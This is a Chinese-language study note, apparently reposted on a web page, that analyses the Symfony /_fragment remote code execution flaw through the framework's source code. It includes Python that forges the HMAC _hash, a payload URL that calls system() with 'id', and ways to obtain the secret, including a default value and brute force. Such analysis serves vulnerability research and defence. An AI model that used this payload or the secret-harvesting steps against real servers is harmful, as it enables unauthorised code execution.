Symfony RCE 分析 |
您所在的位置:网站首页 › symfony框架经验总结 › Symfony RCE 分析 |
笔记与总结,笔记/参考见文末。阅读exp代码的心得忽略。 概括Symfony framwork为一个PHP application,并且用于许多知名CMS中,包括Drupal,Joomla!,eZPlatform,Bolt并且经常用于自定义网站。 当访问 /_fragment 的时候,构造特定payload会产生RCE。关键在于请求用HMAC进行加密,其加密密钥被存储在synfony配置下的secret值中(可被破解),其中破解方式包括:尝试默认值,离线暴力破解,简单绕过安全检查。 This is mainly due to not putting enough emphasis on its importance in the documentation or installation guides. 版本差异Symfony < 4: 会在请求 /_fragment 前,访问 /_internal , /_proxy (关联CVE:CVE-2012-6432, CVE-2014-5245,CVE-2015-4050) >4 : 安装时会生成secret,并且 /_fragment 默认禁止访问。 漏洞挖掘两个思路:一个是注意探测同时采用weak的 secret 和可访问的 /_fragment ,另一个是通过其他已知漏洞获取 secret 然后访问/_fragment 代码分析 漏洞产生点: # ./vendor/symfony/http-kernel/EventListener/FragmentListener.php class FragmentListener implements EventSubscriberInterface { public function onKernelRequest(RequestEvent $event) { $request = $event->getRequest(); # [1] if ($this->fragmentPath !== rawurldecode($request->getPathInfo())) { return; } if ($request->attributes->has('_controller')) { // Is a sub-request: no need to parse _path but it should still be removed from query parameters as below. $request->query->remove('_path'); return; } # [2] if ($event->isMasterRequest()) { $this->validateRequest($request); } # [3] parse_str($request->query->get('_path', ''), $attributes); $request->attributes->add($attributes); $request->attributes->set('_route_params', array_replace($request->attributes->get('_route_params', []), $attributes)); $request->query->remove('_path'); } }前提提要: FragmentListener:onKernelRequest会伴随每个请求运行 一些内部变量由Symfony维护而不是用户定义,其中之一就是 _controller (决定Symfony来调度哪个控制器) 开头不以 _ 的名字是被送入控制器的参数 然后看上面代码,在检验请求有效性后( this->validateRequest(request); ) 将urldecode的 _path 放入 $attributes 变量中。 _path 举例: /_fragment?_path=_controller%3DSomeClass%253A%253AsomeMethod%26firstMethodParam%3Dtest1%26secondMethodParam%3Dtest2&_hash=...还原后: _controller=SomeClass::someMethod&firstMethodParam=test1&secondMethodParam=test2这里的SomeClass::someMethod可以替换成其它命令。 注意 _path下的 _hash,后续会针对该值进行验证。 校验请求:$this->validateRequest这里的 $this->validateRequest 会从两个方面校验 $request : 请求方式是否安全:$request->isMethodSafe() 请求是否签名(Signed):$this->signer->checkRequest($request) 以上二者有校验失败时,均会抛出 AccessDeniedHttpException 异常 检查签名的涉及代码 class UriSigner { public function checkRequest(Request $request): bool { $qs = ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : ''; // we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering) return $this->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().$qs); } /** * Checks that a URI contains the correct hash. * * @return bool True if the URI is signed correctly, false otherwise */ public function check(string $uri) { $url = parse_url($uri); if (isset($url['query'])) { parse_str($url['query'], $params); } else { $params = []; } if (empty($params[$this->parameter])) { return false; } $hash = $params[$this->parameter]; unset($params[$this->parameter]); # [2] return hash_equals($this->computeHash($this->buildUrl($url, $params)), $hash); } private function computeHash(string $uri): string { # [1] return base64_encode(hash_hmac('sha256', $uri, $this->secret, true)); } private function buildUrl(array $url, array $params = []): string { ksort($params, SORT_STRING); $url['query'] = http_build_query($params, '', '&'); $scheme = isset($url['scheme']) ? $url['scheme'].'://' : ''; $host = isset($url['host']) ? $url['host'] : ''; $port = isset($url['port']) ? ':'.$url['port'] : ''; $user = isset($url['user']) ? $url['user'] : ''; $pass = isset($url['pass']) ? ':'.$url['pass'] : ''; $pass = ($user || $pass) ? "$pass@" : ''; $path = isset($url['path']) ? $url['path'] : ''; $query = isset($url['query']) && $url['query'] ? '?'.$url['query'] : ''; $fragment = isset($url['fragment']) ? '#'.$url['fragment'] : ''; return $scheme.$user.$pass.$host.$port.$path.$query.$fragment; } }在 check 里,会返回字符串比较的结果( hash_equal ) ,而这里比较的对象为 $this->computeHash 的结果(传入参数为:用buildUrl 将传入参数后的 $url 重构/reconstructs输出后的结果)与 $hash = params[$this->parameter]; 下的已有的 $hash 进行比较 P.S 这里的URL参数为 _hash GET parameter return hash_equals($this->computeHash($this->buildUrl($url, $params)), $hash);而 computeHash 本身是base64编码了经由 hash_hmac方法生成的散列值(算法sha256,密钥为 $this->secret private function computeHash(string $uri): string { # [1] return base64_encode(hash_hmac('sha256', $uri, $this->secret, true)); }所以正常情况下,_hash 对应的值的生成逻辑如下(假设这里的APP_SECRET为正确的secret)- 前提是知道secret: import base64, hmac, hashlib print(base64.b64encode(hmac.HMAC(b'{{APP_SECRET}}', b'http://localhost:8000/_fragment', hashlib.sha256).digest())) # 假设Return : b'lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm/cmFOh8='然后访问url: http://localhost:8000/_fragment?_hash=lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm/cmFOh8= 会发现原本403的网页变为404 ( 因为没有其他指定请求属性,无法找到Controller) 如果要设置 system($command) 则如下: page="http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull"此时返回 500 并且显示代码执行成功。 secretsecret是什么?它是一个字符串,它用于Symfony框架的一些加密和验证操作,如创建cookie或防止CSRF的令牌。秘密值应该是随机生成的,并且不应该被泄露给任何人 获取secret的方式有以下几种 读取文件 app/config/parameters.yml .env phpinfo $server['APP_SECRET']SSRF / IP spoofing (CVE-2014-5245) : < 2.5.3, 请求来自于受信任的代理,会被认为是安全的而无需secret 默认值/常见值: ThisTokenIsNotSoSecretChangeIt (更多参考symfony-exploits/secret_fragment_exploit.py at main · ambionics/symfony-exploits · GitHub 下给出的一些常见secret) Bruteforce: 可行性: 一些人喜欢用特定密码 secret也用于csrf加密 exp编写参考github上的 :symfony-exploits/secret_fragment_exploit.py at main · ambionics/symfony-exploits · GitHub 重要的几点: HMAC计算是用的 full url, 如果服务器使用了反向代理,则需要内部URL(internel URL),并且internel可能是HTTP协议而不是HTTPS HMAC历史版本加密方式为SHA-1,现在是SHA-256 还有就是检测的方式为:无效hash访问 _/fragment 返回403,有效则返回500 Reference https://www.ambionics.io/blog/symfony-secret-fragment symfony-exploits/secret_fragment_exploit.py at main · ambionics/symfony-exploits · GitHub |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |